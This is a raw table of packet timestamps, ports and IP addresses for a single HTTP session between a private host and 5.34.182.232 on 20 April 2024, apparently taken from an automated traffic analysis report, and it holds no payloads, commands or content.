Apr 20, 2024 10:23:56.215452909 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215480089 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215507984 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215517044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215528965 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215553999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215567112 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215594053 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215605021 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215635061 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215647936 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215672016 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215687037 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215708971 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215722084 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215745926 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215760946 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215784073 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215799093 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215822935 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215837002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215859890 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215871096 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215897083 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215910912 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215934038 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215949059 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215970993 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215984106 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216008902 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216022968 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216044903 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216056108 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216083050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216095924 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216131926 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216150045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216187000 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216202974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216223955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216238022 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216264009 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216278076 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216301918 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216314077 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216339111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216351986 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216377020 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216389894 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216413975 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216428995 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216454029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216468096 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216490984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216506004 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216527939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216541052 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216564894 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216581106 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216603041 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216618061 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216639996 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216654062 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216677904 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216691017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216715097 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216731071 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216752052 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216768026 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216788054 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216803074 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216825962 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216840029 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216862917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216877937 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216898918 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216913939 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216936111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216948986 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.216973066 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.216986895 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217011929 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217032909 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217051983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217072010 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217087984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217104912 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217124939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217138052 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217163086 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217183113 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217199087 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217212915 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217236996 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217250109 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217272997 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217287064 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217309952 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217338085 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217346907 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217359066 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217382908 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217395067 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217422962 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217433929 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217461109 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217473984 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217499971 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217509031 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217535973 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217549086 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217573881 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217586040 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217616081 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217628002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217653990 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217665911 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217691898 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217705965 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217730045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217742920 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217767954 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217782974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217806101 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217818975 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217844009 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217858076 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217880011 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217892885 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217916012 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217931986 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217952967 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.217963934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.217991114 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218003988 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218028069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218040943 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218065977 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218079090 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218102932 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218115091 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218139887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218153954 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218177080 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218192101 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218214989 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218228102 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218250990 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218261957 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218291044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218306065 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218328953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218341112 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218367100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218379021 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218404055 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218415976 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218441963 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218453884 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218478918 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218492031 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218516111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218529940 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218553066 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218569040 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218590021 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.218597889 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.218638897 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.258197069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.258259058 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.258488894 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.258488894 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453252077 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453313112 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453417063 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453445911 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453464985 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453474045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453484058 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453494072 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453493118 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453504086 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453521013 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453530073 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453538895 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453546047 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453564882 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453577995 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453583002 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453591108 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453600883 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453612089 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453618050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453625917 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453635931 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453653097 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453655005 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453669071 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453681946 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453685999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453702927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453704119 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453718901 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453727007 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453737974 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.453756094 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.453867912 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455240965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455259085 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455275059 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455292940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455308914 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455308914 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455329895 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455337048 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455347061 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455348969 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455384970 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455440044 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455476046 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455497980 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455524921 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455544949 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455581903 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455600023 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455615997 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455634117 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455643892 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455655098 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455672026 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455677986 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455688000 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455703974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455708027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455725908 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455727100 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455744028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455760002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455764055 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455781937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455790043 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455800056 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455817938 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455821991 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455840111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455851078 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455858946 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455867052 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455878019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455897093 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455904007 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455914974 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455928087 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455934048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455946922 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455955029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455971003 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.455972910 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455991030 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.455993891 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.456012964 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456022978 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.456031084 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456048965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456063986 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456073046 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456089020 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456115961 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456132889 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.456136942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.456156015 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.456156015 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.456156015 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.456180096 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.456212997 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688388109 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688421965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688437939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688455105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688473940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688489914 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688508034 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688525915 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688533068 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688591957 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688610077 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688680887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688719988 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688751936 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688757896 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688781977 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688810110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688817024 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688842058 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688869953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688878059 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688898087 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688925028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688934088 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.688951969 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688977957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.688986063 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689004898 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689030886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689044952 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689060926 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689088106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689096928 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689116001 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689143896 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689152956 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689178944 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689203024 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689213991 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689229012 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689261913 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689263105 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689290047 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689313889 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689323902 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689347982 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689373970 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689385891 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689408064 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689434052 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689445972 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689462900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689490080 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689497948 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689517021 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689547062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.689549923 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.689594030 CEST	80	49720	5.34.182.232	192.168.2.5
